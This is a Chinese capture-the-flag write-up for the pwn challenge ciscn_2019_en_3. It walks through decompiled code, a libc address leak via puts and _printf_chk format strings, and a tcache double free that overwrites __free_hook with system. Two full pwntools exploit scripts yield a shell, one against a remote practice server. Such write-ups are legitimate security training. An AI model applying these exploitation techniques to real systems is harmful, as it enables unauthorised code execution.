zoukankan      html  css  js  c++  java
  • ciscn_2019_en_3

    sub_DAF:

    unsigned __int64 sub_DAF()
    {
      unsigned __int64 result; // rax
      int v1; // [rsp+Ch] [rbp-44h]
      char s; // [rsp+10h] [rbp-40h]
      char buf; // [rsp+20h] [rbp-30h]
      unsigned __int64 v4; // [rsp+48h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      puts("Welcome to the story kingdom.");
      puts("What's your name?");
      read(0, &buf, 0x20uLL);
      _printf_chk(1LL, (__int64)&buf);
      puts("Please input your ID.");
      read(0, &s, 8uLL);
      puts(&s);
      while ( 1 )
      {
        sub_B7D();
        _isoc99_scanf("%d", &v1);
        getchar();
        switch ( (unsigned int)off_1144 )
        {
          case 1u:
            add();
            break;
          case 2u:
            edit();
            break;
          case 3u:
            show();
            break;
          case 4u:
            delete();
            break;
          case 5u:
            puts("Goodbye~");
            exit(0);
            return result;
          default:
            puts("Wrong choice!");
            return __readfsqword(0x28u) ^ v4;
        }
      }
    }

    add:

    unsigned __int64 add()
    {
      int v0; // ebx
      int v2; // [rsp+4h] [rbp-1Ch]
      unsigned __int64 v3; // [rsp+8h] [rbp-18h]
    
      v3 = __readfsqword(0x28u);
      if ( count > 16 )
        puts("Enough!");
      puts("Please input the size of story: ");
      _isoc99_scanf("%d", &v2);
      if ( v2 < 0 && v2 > 80 )
        exit(0);
      *((_DWORD *)&unk_202060 + 4 * count) = v2;
      v0 = count;
      heap[2 * v0] = malloc(v2);
      puts("please inpute the story: ");
      read(0, heap[2 * count], v2);
      ++count;
      puts("Done!");
      return __readfsqword(0x28u) ^ v3;
    }

    delete:

    unsigned __int64 delete()
    {
      int v1; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      puts("Please input the index:");
      _isoc99_scanf("%d", &v1);
      free(heap[2 * v1]);
      puts("Done!");
      return __readfsqword(0x28u) ^ v2;
    }

    程序就这两个功能,edit和show都是假的。

    checksec:

     一片绿以为还是堆题的传统艺能,没有注意到多了一个FORITY,查了一下。主要是用于防溢出。开启FORTIFY时,一些敏感函数会被替换成下图的

    _xxxx_chk格式进行溢出检查。同时%n$x类型的fmt利用会被拦截

    FORTIFY详情移步https://www.freebuf.com/vuls/248330.html

    注意到了最下方的puts函数,根据puts的特性,只要输入八个byte就能把&s的下一个地址的值带出来

     _printf_chk是有fmt漏洞的。%n$x不能利用但并不影响我泄露栈的数据。可以用箭头所指的两个函数计算libc,这里就用第一个setbuf

    而&s的下一个地址刚好是setbuffer+231。可以根据这个得到libc

    后面就是常规的tcache double free

    两种方法的exp如下

     exp1(puts泄漏地址):

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    #a=remote("node3.buuoj.cn",25764)
    #g=gdb.debug("/root/ciscn")
    a=process("/root/ciscn")
    elf=ELF("/root/ciscn")
    libc=ELF("libc-2.27.so")
    
    def add(size,story):
        a.sendlineafter('choice:','1')
        a.sendlineafter('story:',str(size))
        a.sendlineafter('story:',story)
    def delete(idx):
        a.sendlineafter('choice:','4')
        a.sendlineafter('index:',str(idx))
    a.sendlineafter("What's your name?","remon535")
    a.recv(0x5f)
    setbuffer=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))-231
    a.sendlineafter("Please input your ID.",'aaaaaaaa')
    
    libc_base=setbuffer-libc.symbols['setbuffer']
    print hex(libc_base)
    
    free=libc_base+libc.sym['__free_hook']
    sys=libc_base+libc.sym['system']
    add(0x20,'aaaa')
    add(0x20,'/bin/shx00')
    delete(0)
    delete(0)
    add(0x20,p64(free))
    add(0x20,'a')
    add(0x20,p64(sys))
    delete(1)
    #gdb.attach(a)
    a.interactive()

    exp2(fmt泄漏地址):

    #!/usr/bin/python
    #coding:utf-8
    
    from pwn import *
    context.log_level = 'debug'
    a=remote("node3.buuoj.cn",25764)
    #g=gdb.debug("/root/ciscn")
    #a=process("/root/ciscn")
    elf=ELF("/root/ciscn")
    libc=ELF("libc-2.27.so")
    
    def add(size,story):
        a.sendlineafter('choice:','1')
        a.sendlineafter('story:',str(size))
        a.sendlineafter('story:',story)
    def delete(idx):
        a.sendlineafter('choice:','4')
        a.sendlineafter('index:',str(idx))
    a.sendlineafter("What's your name?","%p%p%p%p%p%p")
    setbuf=int(a.recvuntil('Please')[51:65],16)-9
    print setbuffer
    a.sendlineafter("ID.",'123')
    
    
    
    libc_base=setbuffer-libc.symbols['_IO_file_setbuf']
    print hex(libc_base)
    
    free=libc_base+libc.sym['__free_hook']
    sys=libc_base+libc.sym['system']
    add(0x20,'aaaa')
    add(0x20,'/bin/shx00')
    delete(0)
    delete(0)
    add(0x20,p64(free))
    add(0x20,'a')
    add(0x20,p64(sys))
    delete(1)
    #gdb.attach(a)
    a.interactive()
  • 相关阅读:
    Solr4.8.0源码分析(27)之ImplicitDocRouter和CompositeIdRouter
    Solr4.8.0源码分析(26)之Recovery失败造成的宕机原因分析
    Solr4.8.0源码分析(25)之SolrCloud的Split流程
    Solr4.8.0源码分析(24)之SolrCloud的Recovery策略(五)
    搞Solr这一年(本人QQ 282335345 群412268049 欢迎大家一起学习Solr 非诚勿扰)
    Solr4.8.0源码分析(23)之SolrCloud的Recovery策略(四)
    Solr4.8.0源码分析(22)之SolrCloud的Recovery策略(三)
    Solr4.8.0源码分析(21)之SolrCloud的Recovery策略(二)
    Solr4.8.0源码分析(20)之SolrCloud的Recovery策略(一)
    比较值的周期变化
  • 原文地址:https://www.cnblogs.com/remon535/p/14122719.html
Copyright © 2011-2022 走看看